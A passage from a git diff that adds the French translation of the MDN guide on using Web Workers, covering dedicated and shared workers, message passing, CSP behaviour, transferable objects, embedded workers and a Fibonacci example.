+ <li><a href="/en-US/docs/Web/API/ChromeWorker">ChromeWorker</a> : pour l'utilisation des workers dans un code privilégié (chrome)</li>
+</ul>
diff --git a/files/fr/web/api/web_workers_api/utilisation_des_web_workers/index.html b/files/fr/web/api/web_workers_api/utilisation_des_web_workers/index.html
new file mode 100644
index 0000000000..b1330f34bf
--- /dev/null
+++ b/files/fr/web/api/web_workers_api/utilisation_des_web_workers/index.html
@@ -0,0 +1,633 @@
+---
+title: Utilisation des web workers
+slug: Web/API/Web_Workers_API/Utilisation_des_web_workers
+tags:
+  - Avancé
+  - Guide
+  - JavaScript
+  - Web Workers
+translation_of: Web/API/Web_Workers_API/Using_web_workers
+---
+<div>{{DefaultAPISidebar("Web Workers API")}}</div>
+
+<p><span class="seoSummary">Les <em>Web Workers</em> sont un outil permettant au contenu web d'exécuter des scripts dans des tâches (<em>threads</em>) d'arrière-plan. Le <em>thread</em> associé au <em>worker</em> peut réaliser des tâches sans qu'il y ait d'interférence avec l'interface utilisateur. De plus, les <em>web workers</em> peuvent réaliser des opérations d'entrée/sortie grâce à <code><a class="internal" href="/fr/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> (bien que les attributs <code>responseXML</code> et <code>channel</code> soient nécessairement vides dans ces cas). Une fois créé, un <em>worker</em> peut envoyer des messages au code JavaScript qui l'a créé. De même, le script initial peut envoyer des messages au <em>worker</em>. Cette communication s'effectue grâce à des gestionnaires d'évènements.</span> Dans cet article, nous verrons une introduction à l'utilisation des <em>web workers</em>.</p>
+
+<h2 id="LAPI_Web_Workers">L'API Web Workers</h2>
+
+<p>Un <em>worker</em> est un objet créé à l'aide d'un constructeur (par exemple {{domxref("Worker.Worker", "Worker()")}}) et qui exécute un fichier JavaScript donné. Ce fichier contient le code qui sera exécuté par le <em>thread</em> du <em>worker</em>. Les <em>workers</em> sont exécutés dans un contexte global qui n'est pas celui du document (généralement {{domxref("window")}}). Aussi, si, dans un <em>worker</em>, on utilise {{domxref("window")}} pour accéder à la portée globale (plutôt que {{domxref("window.self","self")}}), cela provoquera une erreur.</p>
+
+<p>Le contexte du <em>worker</em> est représenté par un objet {{domxref("DedicatedWorkerGlobalScope")}} pour les <em>workers</em> dédiés et par un objet {{domxref("SharedWorkerGlobalScope")}} sinon. Un <em>worker</em> dédié est uniquement accessible au travers du script qui l'a déclenché tandis qu'un <em>worker</em> partagé peut être utilisé par différents scripts.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Voir <a href="/fr/docs/Web/API/Web_Workers_API">la page d'entrée pour l'API Web Workers</a> pour consulter la documentation de référence sur les <em>workers</em> et d'autres guides.</p>
+</div>
+
+<p>Il est possible d'exécuter n'importe quel code JavaScript dans le <em>thread</em> du <em>worker</em>, à l'exception des méthodes de manipulation du DOM ou de certaines propriétés et méthodes rattachées à {{domxref("window")}}. On notera cependant qu'on peut tout à fait utiliser certaines API rendues disponibles via <code>window</code> comme les <a href="/fr/docs/Web/API/WebSockets_API">WebSockets</a>, les API de stockage de données telles que <a href="/fr/docs/Web/API/API_IndexedDB">IndexedDB</a>. Pour plus de détails, voir <a href="/fr/docs/Web/API/Worker/Functions_and_classes_available_to_workers">les fonctions et classes disponibles au sein des <em>workers</em></a>.</p>
+
+<p>Les données sont échangées entre le <em>thread</em> du <em>worker</em> et le <em>thread</em> principal par l'intermédiaire de messages. Chaque partie peut envoyer des messages à l'aide de la méthode <code>postMessage()</code> et réagir aux messages reçus grâce au gestionnaire d'évènement <code>onmessage</code> (le message sera contenu dans l'attribut <code>data</code> de l'évènement {{event("Message")}} associé). Les données sont copiées dans le message, elles ne sont pas partagées.</p>
+
+<p>Les <em>workers</em> peuvent également déclencher la création d'autres <em>workers</em> tant que ceux-ci restent hébergés sur la même origine que la page parente. De plus, les <em>workers</em> pourront utiliser <a class="internal" href="/fr/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a> pour effectuer des opérations réseau mais les attributs <code>responseXML</code> et <code>channel</code> de <code>XMLHttpRequest</code> renverront nécessairement <code>null</code>.</p>
+
+<h2 id="Les_workers_dédiés">Les <em>workers</em> dédiés</h2>
+
+<p>Comme indiqué plus haut, un <em>worker</em> dédié n'est accessible qu'au travers du script qui l'a initié. Dans cette section, nous étudierons le code JavaScript de <a href="https://github.com/mdn/simple-web-worker">notre exemple de <em>worker</em> dédié simple</a>. Dans cet exemple, nous souhaitons multiplier deux nombres. Ces nombres sont envoyés à un <em>worker</em> dédié puis le résultat est renvoyé à la page et affiché.</p>
+
+<p>Cet exemple est assez simple mais permet d'introduire les concepts de base autour des <em>workers</em>. Nous verrons certains détails plus avancés dans la suite de cet article.</p>
+
+<h3 id="Détecter_la_possibilité_dutiliser_les_workers">Détecter la possibilité d'utiliser les <em>workers</em></h3>
+
+<p>Afin de gérer une meilleure amélioration progressive, une rétro-compatibilité et de présenter des messages d'erreur adéquats, il pourra être utile d'envelopper le code relatif au <em>worker</em> de la façon suivante (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>) :</p>
+
+<pre class="brush: js">if (window.Worker) {
+  ...
+}</pre>
+
+<h3 id="Initier_un_worker_dédié">Initier un <em>worker</em> dédié</h3>
+
+<p>La création d'un nouveau <em>worker</em> est assez simple. On appellera le constructeur {{domxref("Worker.Worker", "Worker()")}} en indiquant l'URI du script à exécuter dans le <em>thread</em> associé au <em>worker</em> (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>) :</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: js">var monWorker = new Worker('worker.js');
+</pre>
+</div>
+
+<h3 id="Envoyer_des_messages_au_worker_et_y_réagir">Envoyer des messages au <em>worker</em> et y réagir</h3>
+
+<p>L'intérêt principal des <em>workers</em> repose sur l'échange de messages à l'aide de la méthode {{domxref("Worker.postMessage", "postMessage()")}} et grâce au gestionnaire d'évènement {{domxref("Worker.onmessage", "onmessage")}}. Lorsqu'on souhaite envoyer un message au <em>worker</em>, on enverra des messages de la façon suivante (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>) :</p>
+
+<pre class="brush: js">premierNombre.onchange = function() {
+  monWorker.postMessage([premierNombre.value, deuxiemeNombre.value]);
+  console.log('Message envoyé au worker');
+}
+
+deuxiemeNombre.onchange = function() {
+  monWorker.postMessage([premierNombre.value, deuxiemeNombre.value]);
+  console.log('Message envoyé au worker');
+}</pre>
+
+<p>Ici, nous disposons de deux éléments {{htmlelement("input")}} représentés par les variables <code>premierNombre</code> et <code>deuxiemeNombre</code>. Lorsque l'un de ces deux champs est modifié, on utilise <code>monWorker.postMessage([premierNombre.value, deuxiemeNombre.value])</code> afin d'envoyer les deux valeurs au <em>worker</em> dans un tableau. Les messages peuvent être utilisés pour échanger n'importe quel type de valeur.</p>
+
+<p>Dans le <em>worker</em>, on peut réagir au message reçu grâce à un gestionnaire d'évènement comme celui-ci (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/worker.js">worker.js</a>) :</p>
+
+<pre class="brush: js">onmessage = function(e) {
+  console.log('Message reçu depuis le script principal.');
+  var workerResult = 'Résultat : ' + (e.data[0] * e.data[1]);
+  console.log('Envoi du message de retour au script principal');
+  postMessage(workerResult);
+}</pre>
+
+<p>Le gestionnaire <code>onmessage</code> permet d'exécuter du code lorsqu'un message est reçu. Le message même est disponible grâce à l'attribut <code>data</code> de l'évènement. Dans cet exemple, nous multiplions simplement les deux nombres avant d'utiliser <code>postMessage()</code> à nouveau afin d'envoyer le résultat via un message destiné au <em>thread</em> principal.</p>
+
+<p>De retour dans le <em>thread</em> principal, nous pouvons utiliser <code>onmessage</code> à nouveau pour réagir à la réponse provenant du <em>worker</em> :</p>
+
+<pre class="brush: js">monWorker.onmessage = function(e) {
+  resultat.textContent = e.data;
+  console.log('Message reçu depuis le worker');
+}</pre>
+
+<p>Ici, nous récupérons les données grâce à l'attribut <code>data</code> de l'évènement et nous mettons à jour le contenu du paragraphe avec l'attribut <code>textContent</code> de l'élément. Ainsi, l'utilisateur peut visualiser le résultat du calcul.</p>
+
+<div class="note"><strong>Note :</strong> On notera que <code>onmessage</code> et <code>postMessage()</code> doivent être rattachés à un objet <code>Worker</code> lorsqu'ils sont utilisés depuis le <em>thread</em> principal (ici, c'était <code>monWorker</code>) mais pas lorsqu'ils sont employés depuis le <em>worker</em>. En effet, dans le <em>worker</em>, c'est le <em>worker</em> qui constitue la portée globale et qui met à disposition ces méthodes.</div>
+
+<div class="note"><strong>Note :</strong> Lorsqu'un message est envoyé d'un <em>thread</em> à l'autre, ses données sont copiées. Elles ne sont pas partagées. Voir <a href="#échange">ci-après</a> pour plus d'explications à ce sujet.</div>
+
+<h3 id="Clôturer_un_worker">Clôturer un <em>worker</em></h3>
+
+<p>Si on doit arrêter un <em>worker</em> immédiatement, on pourra utiliser la méthode {{domxref("Worker", "terminate")}} depuis le <em>thread</em> principal :</p>
+
+<pre class="brush: js">monWorker.terminate();</pre>
+
+<p>Lorsque cette méthode exécuté, le <em>thread</em> associé au <em>worker</em> est tué immédiatement.</p>
+
+<h3 id="Gérer_les_erreurs">Gérer les erreurs</h3>
+
+<p>Lorsqu'une erreur d'exécution se produit avec le <em>worker</em>, son gestionnaire d'évènement <code>onerror</code> est appelé et reçoit un évènement <code>error</code> qui implémente l'interface <code>ErrorEvent</code>.</p>
+
+<p>Cet évènement ne bouillonne (<em>bubble</em>) pas et peut être annulé. Pour empêcher les conséquences par défaut, on pourra utiliser la méthode <a class="internal" href="/fr/docs/Web/API/Event/preventDefault"> <code>preventDefault()</code></a> rattachée à l'évènement d'erreur.</p>
+
+<p>L'évènement décrivant l'erreur possède notamment trois propriétés intéressantes :</p>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Un message d'erreur compréhensible par un humain.</dd>
+ <dt><code>filename</code></dt>
+ <dd>Le nom du fichier pour lequel l'erreur s'est produite.</dd>
+ <dt><code>lineno</code></dt>
+ <dd>Le numéro de ligne au sein du fichier responsable de l'erreur.</dd>
+</dl>
+
+<h3 id="Initier_des_workers_fils">Initier des <em>workers</em> fils</h3>
+
+<p>Les <em>workers</em> peuvent également engendrer d'autres <em>workers</em>. Ces <em>workers</em>-fils doivent être hébergés sur la même origine que la page initiale. De plus, les URI des <em>workers-</em>fils sont résolues relativement à l'emplacement du <em>worker</em> père (plutôt que par rapport à la page parente). Ces contraintes permettent de simplifier le suivi des dépendances.</p>
+
+<h3 id="Importer_des_scripts_et_des_bibliothèques">Importer des scripts et des bibliothèques</h3>
+
+<p>Les <em>threads</em> d'exécution des <em>workers</em> peuvent accéder à la fonction globale <code>importScripts()</code>, qui leur permet d'importer des scripts. Cette fonction prend zéro à plusieurs URL en paramètres et importe les ressources associées. Voici quelques exemples valides :</p>
+
+<pre class="brush: js">importScripts();                         /* n'importe rien */
+importScripts('toto.js');                /* importe uniquement "toto.js" */
+importScripts('toto.js', 'truc.js');     /* importe deux scripts */
+importScripts('//example.com/hello.js'); /* importe un script d'une autre origine */</pre>
+
+<p>Lors d'un import, le navigateur chargera chacun des scripts puis l'exécutera. Chaque script pourra ainsi mettre à disposition des objets globaux qui pourront être utilisés par le <em>worker</em>. Si le script ne peut pas être chargé, une exception <code>NETWORK_ERROR</code> sera levée et le code assicé ne sera pas exécuté. Le code exécuté précédemment (y compris celui-ci reporté à l'aide de {{domxref("window.setTimeout()")}}) continuera cependant d'être fonctionnel. Les déclarations de fonction situées <strong>après</strong> <code>importScripts()</code> sont également exécutées car évaluées avant le reste du code.</p>
+
+<div class="note"><strong>Note :</strong> Les scripts peuvent être téléchargés dans n'importe quel ordre mais ils seront exécutés dans l'ordre des arguments passés à <code>importScripts()</code> . Cet exécution est effectuée de façon synchrone et <code>importScripts()</code> ne rendra pas la main tant que l'ensemble des scripts n'auront pas été chargés et exécutés.</div>
+
+<h2 id="Les_workers_partagés">Les <em>workers</em> partagés</h2>
+
+<p>Un <em>worker</em> partagé est accessible par plusieurs scripts (même si ceux-ci proviennent de différentes fenêtres, <em>iframes</em> voire d'autres <em>workers</em>). Dans cette section, nous illustrerons les concepts à l'aide de <a href="https://github.com/mdn/simple-shared-worker">l'exemple simple d'un <em>worker</em> partagé.</a> Cet exemple est semblable à l'exemple utilisé pour le <em>worker</em> dédié. Il diffère car il possède deux fonctions, gérées par deux fichiers de script distincts : une fonction permettant de multiplier deux nombres et une fonction permettant d'élever un nombre au carré. Les deux scripts utilisent le même <em>worker</em> pour réaliser le calcul demandé.</p>
+
+<p>Ici, nous nous intéresserons particulièrement aux différences entre les <em>workers</em> dédiés et les <em>workers</em> partagés. Dans cet exemple, nous aurons deux pages HTML, chacune utilisant du code JavaScript employant le même <em>worker</em>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si on peut accéder à un <em>worker</em> partagé depuis différents contextes de navigations, ces contextes de navigation doivent néanmoins partager la même origine (même protocole, même hôte, même port).</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Dans Firefox, les <em>workers</em> partagés ne peuvent pas être partagés entre les documents chargés en navigation privée et les documents chargés en navigation classique ({{bug(1177621)}}).</p>
+</div>
+
+<h3 id="Initier_un_worker_partagé">Initier un <em>worker</em> partagé</h3>
+
+<p>La création d'un nouveau <em>worker</em> partagé est assez semblable à la création d'un <em>worker</em> dédié. On utilise alors un constructeur différent :</p>
+
+<pre class="brush: js">var monWorker = new SharedWorker('worker.js');</pre>
+
+<p>Une différence fondamentale avec les <em>workers</em> dédiés est l'utilisation d'un objet <code>port</code> pour la communication. Un port sera explicitement ouvert pour être utilisé afin de communiquer avec le <em>worker</em> (dans le cas des <em>workers</em> dédiés, ce port est ouvert implicitement).</p>
+
+<p>La connexion au port doit être démarrée implicitement avec l'utilisation du gestionnaire d'évènement <code>onmessage</code> ou explicitement avec la méthode <code>start()</code> avant qu'un message soit envoyé. On utilisera uniquement <code>start()</code> si l'évènement <code>message</code> est détecté avec la méthode <code>addEventListener()</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsqu'on utilise la méthode <code>start()</code> afin d'ouvrir le port de connexion, celle-ci doit être appelée de part et d'autre (depuis le <em>thread</em> parent <strong>et</strong> depuis le <em>worker</em>) si on souhaite disposer d'une connexion bidirectionnelle.</p>
+</div>
+
+<h3 id="Échanger_des_messages_avec_un_worker_partagé_et_y_réagir">Échanger des messages avec un <em>worker</em> partagé et y réagir</h3>
+
+<p>On peut alors envoyer des messages au <em>worker</em>. Dans le cas d'un <em>worker</em> partagé, la méthode <code>postMessage()</code> doit être appelée via l'objet <code>port</code> (là aussi, vous pouvez étudier le code de <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> et <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>) :</p>
+
+<pre class="brush: js">carreNombre.onchange = function() {
+  monWorker.port.postMessage([carreNombre.value, carreNombre.value]);
+  console.log('Message envoyé au worker');
+}</pre>
+
+<p>Du côté du <em>worker</em>, les choses sont également légèrement plus compliquées (voir <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/worker.js">worker.js</a>) :</p>
+
+<pre class="brush: js">onconnect = function(e) {
+  var port = e.ports[0];
+
+  port.onmessage = function(e) {
+    var workerResult = 'Résultat : ' + (e.data[0] * e.data[1]);
+    port.postMessage(workerResult);
+  }
+}</pre>
+
+<p>On commence par utiliser le gestionnaire <code>onconnect</code> afin de déclencher du code à la connexion au port (c'est-à-dire lorsque le gestionnaire <code>onmessage</code> est déclaré depuis le <em>thread</em> parent ou lorsque la méthode <code>start()</code> est invoquée explicitement depuis le <em>thread</em> parent).</p>
+
+<p>On utilise l'attribut <code>ports</code> de l'évènement afin de récupérer le port utilisé et on le place dans une variable.</p>
+
+<p>Ensuite, sur ce port, on ajoute un gestionnaire d'évènement pour l'évènement <code>message</code> afin de faire les calculs et de renvoyer le résultat au <em>thread</em> principal. En définissant ce gestionnaire pour <code>message</code> dans le <em>thread</em> du <em>worker</em>, on ouvre implicitement le port pour la connexion au <em>thread</em> parent : il n'est donc pas nécessaire d'invoquer <code>port.start()</code>.</p>
+
+<p>Enfin, dans le script de la page, on gère le message du résultat (voir <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> et <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
+
+<pre class="brush: js">monWorker.port.onmessage = function(e) {
+  result2.textContent = e.data;
+  console.log('Message reçu depuis le worker');
+}</pre>
+
+<p>Lorsqu'un message provient du port associé au <em>worker</em>, on vérifie son type puis on insère le résultat dans le paragraphe associé.</p>
+
+<h2 id="Sûreté_des_threads">Sûreté des <em>threads</em></h2>
+
+<p>L'interface {{domxref("Worker")}} engendre des <em>threads</em> au sens du système d'exploitation. Certains développeurs avertis pourront se demander si cette communication à base de <em>threads</em> ne peut pas générer d'effets indésirables tels que des situations de compétition (<em>race conditions</em>).</p>
+
+<p>Toutefois, la communication entre les <em>web workers</em> est contrôlée explicitement dans les scripts et il n'y a pas d'accès aux composants ou au DOM qui ne seraient pas sûrs à ce niveau. De plus, la communication entre les <em>threads</em> s'effectue par recopie de données. Aussi, s'il n'est théoriquement pas impossible de ne pas avoir de tels problèmes, il faudrait les chercher pour les provoquer.</p>
+
+<h2 id="Règles_de_sécurité_du_contenu_content_security_policy_CSP">Règles de sécurité du contenu (<em>content security policy</em>, CSP)</h2>
+
+<p>Les <em>workers</em> disposent de leur propre contexte d'exécution, distinct de celui du document qui les a créés. Aussi, en général, les <em>workers</em> ne sont pas gérés par la <a href="/fr/docs/Web/HTTP/CSP">politique de sécurité de contenu</a> du document (ou du <em>worker</em> parent) responsable de leur création. Ainsi, si un document est servi avec l'en-tête suivant :</p>
+
+<pre>Content-Security-Policy: script-src 'self'</pre>
+
+<div>Cette règle empêchera n'importe quel script inclus dans le document d'utiliser <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/eval">eval()</a></code>. Toutefois, si le script génère un <em>worker</em>, le code exécuté par ce <em>worker</em> pourra utiliser <code>eval()</code>.<br>
+<br>
+Pour appliquer une règle de sécurité au <em>worker</em>, il faudra fournir un en-tête <a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy">Content-Security-Policy</a> approprié pour la requête responsable du service du script du <em>worker</em>.<br>
+<br>
+Si l'origine du script du <em>worker</em> est un identifiant global unique (si son URL utilise le schéma <code>data://</code> ou <code>blob://</code> par exemple), le <em>worker</em> héritera du CSP associé au document responsable de sa création.</div>
+
+<div></div>
+
+<h2 id="Échanger_des_données_avec_les_workers_plus_de_détails"><a id="échange" name="échange">Échanger des données avec les <em>workers</em> : plus de détails</a></h2>
+
+<p>Les données échangées entre le document principal et les <em>workers</em> sont <strong>copiées</strong> et non partagées. Lorsqu'ils sont envoyés au <em>worker</em>, les objets sont sérialisés (puis désérialisés à leur réception). La page et le <em>worker</em> <strong>ne partagent pas le même exemplaire </strong>et on a donc deux versions d'une part et d'autre. La plupart des navigateurs implémentent cette approche avec <a href="/fr/docs/Web/API/Web_Workers_API/algorithme_clonage_structure">une clonage structurel</a>.</p>
+
+<p>Pour illustrer ce point, on prendra une fonction intitulée <code>emulateMessage()</code> et qui simule le comportement d'une valeur clonée (pas partagée) avec un <em>worker</em> attaché à la page principale et réciproquement :</p>
+
+<pre class="brush: js">function emulateMessage(vVal) {
+    return eval('(' + JSON.stringify(vVal) + ')');
+}
+
+// Tests
+
+// test #1
+var example1 = new Number(3);
+console.log(typeof example1); // object
+console.log(typeof emulateMessage(example1)); // number
+
+// test #2
+var example2 = true;
+console.log(typeof example2); // boolean
+console.log(typeof emulateMessage(example2)); // boolean
+
+// test #3
+var example3 = new String('Hello World');
+console.log(typeof example3); // object
+console.log(typeof emulateMessage(example3)); // string
+
+// test #4
+var example4 = {
+    'name': 'John Smith',
+    "age": 43
+};
+console.log(typeof example4); // object
+console.log(typeof emulateMessage(example4)); // object
+
+// test #5
+function Animal(sType, nAge) {
+    this.type = sType;
+    this.age = nAge;
+}
+var example5 = new Animal('Cat', 3);
+console.log(example5.constructor); // Animal
+console.log(emulateMessage(example5).constructor); // Object</pre>
+
+<p>Une valeur qui est clonée et non partagée est appelée un message. Les messages peuvent être envoyés et reçus grâce à <code>postMessage()</code> et au gestionnaire d'évènement pour <code>message</code> (dont l'attribut {{domxref("MessageEvent.data", "data")}} contiendra les données copiées).</p>
+
+<p><strong>example.html</strong> (page principale) :</p>
+
+<pre class="brush: js">var myWorker = new Worker('my_task.js');
+
+myWorker.onmessage = function(oEvent) {
+  console.log('Worker said : ' + oEvent.data);
+};
+
+myWorker.postMessage('ali');</pre>
+
+<p><strong>my_task.js</strong> (le code du <em>worker</em>) :</p>
+
+<pre class="brush: js">postMessage("I\'m working before postMessage(\'ali\').");
+
+onmessage = function(oEvent) {
+  postMessage('Hi ' + oEvent.data);
+};</pre>
+
+<p>L'<a href="/fr/docs/Web/API/Web_Workers_API/algorithme_clonage_structure">algorithme de clonage structurel</a> permet de sérialiser aussi bien des données JSON que d'autres formats et permet notamment de gérer les références circulaires (ce que JSON ne permet pas de gérer nativement).</p>
+
+<h3 id="Les_objets_transférables_-_échanger_des_données_avec_transfert_de_la_propriété">Les objets transférables - échanger des données avec transfert de la propriété</h3>
+
+<p>Chrome 17+ et Firefox 18+ permettent également d'échanger certains types d'objet (qualifiés de transférables et qui implémentent l'interface {{domxref("Transferable")}}) avec des <em>workers</em> et à haute performance. Les objets transférables sont passés d'un contexte à l'autre avec une opération <em><a href="https://en.wikipedia.org/wiki/Zero-copy">zero-copy</a> </em>qui permet d'obtenir des améliorations sensibles lors de l'échange de données volumineuses. On peut voir cela comme un passage de référence du monde C/C++ mais les données qui sont transférées depuis le contexte appelant ne sont plus disponibles dans ce contexte après le transfert. La propriété des données est transférée au nouveau contexte. Ainsi, lorsqu'on transfère un objet {{domxref("ArrayBuffer")}} depuis l'application principale vers le <em>worker</em>, l'objet {{domxref("ArrayBuffer")}} de départ est nettoyé et ne peut plus être utilisé, son contenu est (littéralement) transféré au contexte du <em>worker</em>.</p>
+
+<pre class="brush: js">// Créer un fichier de 32MB et le remplir.
+var uInt8Array = new Uint8Array(1024 * 1024 * 32); // 32MB
+for (var i = 0; i &lt; uInt8Array.length; ++i) {
+  uInt8Array[i] = i;
+}
+
+worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Pour plus d'informations quant aux objets transférables, aux performances associées et à la détection de ces fonctionnalités, on pourra lire <a href="https://developers.google.com/web/updates/2011/12/Transferable-Objects-Lightning-Fast">Transferable Objects: Lightning Fast</a>.</p>
+</div>
+
+<h2 id="Workers_embarqués"><em>Workers</em> embarqués</h2>
+
+<p>Il n'existe pas de méthode standard pour embarquer le code d'un worker dans une page web à la façon des éléments {{HTMLElement("script")}}. Toutefois, un élément {{HTMLElement("script")}}, qui ne possède pas d'attribut <code>src</code>, qui possède un attribut <code>type</code> ne correspondant pas à un type MIME exécutable pourra être considéré comme un bloc de données pouvant être utilisé par JavaScript. Ces blocs de données sont une fonctionnalité HTML5 qui permet de transporter n'importe quelle donnée textuelle. On pourrait donc embarquer un <em>worker</em> de cette façon :</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;Exemple MDN - Worker embarqué&lt;/title&gt;
+&lt;script type="text/js-worker"&gt;
+  // Ce script ne sera pas analysé par le moteur JS car
+  // son type MIME est text/js-worker.
+  var maVar = 'Coucou monde !';
+  // Reste du code du worker.
+&lt;/script&gt;
+&lt;script type="text/javascript"&gt;
+  // Ce script sera analysé par le moteur JS car son type MIME
+  // est text/javascript.
+  function pageLog(sMsg) {
+    // On utilise un fragment afin que le navigateur ne rende/peigne
+    // qu'une seule fois.
+    var oFragm = document.createDocumentFragment();
+    oFragm.appendChild(document.createTextNode(sMsg));
+    oFragm.appendChild(document.createElement('br'));
+    document.querySelector('#logDisplay').appendChild(oFragm);
+  }
+&lt;/script&gt;
+&lt;script type="text/js-worker"&gt;
+  // Ce script ne sera pas analysé par le moteur JS car son type
+  // MIME est text/js-worker.
+  onmessage = function(oEvent) {
+    postMessage(myVar);
+  };
+  // Reste du code du worker
+&lt;/script&gt;
+&lt;script type="text/javascript"&gt;
+  // Ce script sera analysé par le moteur JS car son type MIME est
+  // text/javascript
+
+  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll('script[type=\'text\/js-worker\']'), function (oScript) { return oScript.textContent; }),{type: 'text/javascript'});
+
+  // On crée une nouvelle propriété document.worker qui contient
+  // tous les scripts "text/js-worker".
+  document.worker = new Worker(window.URL.createObjectURL(blob));
+
+  document.worker.onmessage = function(oEvent) {
+    pageLog('Received: ' + oEvent.data);
+  };
+
+  // On démarre le worker.
+  window.onload = function() { document.worker.postMessage(''); };
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;&lt;div id="logDisplay"&gt;&lt;/div&gt;&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Le <em>worker</em> embarqué est désormais injecté dans la propriété <code>document.worker</code>.</p>
+
+<p>On notera également qu'on peut convertir une fonction en un <code>Blob</code> et générer une URL d'objet vers ce blob. Par exemple :</p>
+
+<pre class="brush: js">function fn2workerURL(fn) {
+  var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
+  return URL.createObjectURL(blob)
+}</pre>
+
+<h2 id="Autres_exemples">Autres exemples</h2>
+
+<p>Dans cette section nous voyons d'autres exemples d'application.</p>
+
+<h3 id="Effectuer_des_calculs_en_arrière-plan">Effectuer des calculs en arrière-plan</h3>
+
+<p>Les <em>workers</em> sont notamment utiles pour réaliser des opérations de traitement intensives sans bloquer pour autant le <em>thread</em> responsable de l'interface utilisateur. Dans cet exemple, on utilise un<em> </em><em>worker</em> afin de calculer la suite de Fibonacci.</p>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>Le code JavaScript suivant sera enregistré dans le fichier "fibonacci.js" auquel on fera référence dans le document HTML ci-après.</p>
+
+<pre class="brush: js">var results = [];
+
+function resultReceiver(event) {
+  results.push(parseInt(event.data));
+  if (results.length == 2) {
+    postMessage(results[0] + results[1]);
+  }
+}
+
+function errorReceiver(event) {
+  throw event.data;
+}
+
+onmessage = function(event) {
+  var n = parseInt(event.data);
+
+  if (n == 0 || n == 1) {
+    postMessage(n);
+    return;
+  }
+
+  for (var i = 1; i &lt;= 2; i++) {
+    var worker = new Worker('fibonacci.js');
+    worker.onmessage = resultReceiver;
+    worker.onerror = errorReceiver;
+    worker.postMessage(n - i);
+  }
+ };</pre>
+
+<p>On a défini la propriété <code>onmessage</code> avec une fonction qui recevra les messages envoyés au <em>worker</em> via <code>postMessage()</code>. On initie alors la récursion et on déclenche des copies du <em>worker</em> afin de gérer chacune des itérations liées au calcul.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="UTF-8"  /&gt;
+    &lt;title&gt;Test threads fibonacci&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;div id="result"&gt;&lt;/div&gt;
+
+  &lt;script language="javascript"&gt;
+
+    var worker = new Worker('fibonacci.js');
+
+    worker.onmessage = function(event) {
+      document.getElementById('result').textContent = event.data;
+      dump('Got: ' + event.data + '\n');
+    };
+
+    worker.onerror = function(error) {
+      console.error('Worker error: ' + error.message + '\n');
+      throw error;
+    };
+
+    worker.postMessage('5');
+
+  &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Dans la page web, on crée un élément <code>div</code> avec l'identifiant <code>result</code>. C'est cet élément qui sera utilisé afin d'afficher le résultat.</p>
+
+<p>Ensuite, on lance le <em>worker</em>. Après avoir initié le <em>worker</em>, on configure le gestionnaire d'évènement <code>onmessage</code> afin d'afficher le résultat via le <code>div</code>. On configure également le gestionnaire <code>onerror</code> afin d'afficher l'erreur de la console.</p>
+
+<p>Enfin, on envoie un message au <em>worker</em> afin de le démarrer.</p>
+
+<p><a href="https://mdn.github.io/fibonacci-worker/">Essayer cet exemple</a>.</p>
+
+<h3 id="Répartir_des_tâches_entre_plusieurs_workers">Répartir des tâches entre plusieurs <em>workers</em></h3>
+
+<p>Les ordinateurs dotés de plusieurs coeurs se généralisent et il peut s'avérer utile de fragmenter une tâche complexe entre différents <em>workers</em> afin de tirer parti des différents coeurs du processeur.</p>
+
+<h2 id="Autres_workers">Autres <em>workers</em></h2>
+
+<p>En plus des web <em>workers</em> (dédiés et partagés), il existe d'autres types de <em>workers </em>:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">Les service <em>workers</em></a> peuvent notamment servir de serveurs mandataires (<em>proxy</em>) entre les applications web, le navigateur et le réseau (lorsque celui-ci est disponible). Ces <em>workers</em> sont conçus afin de permettre des utilisations hors-ligne en interceptant les requêtes réseau et en déclenchant les actions nécessaires selon que le réseau est disponible ou non et que les ressources souhaitées sont disponibles sur le serveur. Ces <em>workers</em> permettent de déclencher des notifications <em>push</em> et d'utiliser des API de synchronisation en arrière-plan.</li>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API#Audio_processing_in_JavaScript">Les <em>worklets </em>audio</a> permettent de traiter des signaux audios en arrière-plan (fonctionnalité expérimentale).</li>
+</ul>
+
+<h2 id="Fonctions_et_interfaces_disponibles_pour_les_workers">Fonctions et interfaces disponibles pour les <em>workers</em></h2>
+
+<p>La plupart des fonctionnalités JavaScript standard peuvent être utilisées dans les <em>web workers</em>, dont :</p>
+
+<ul>
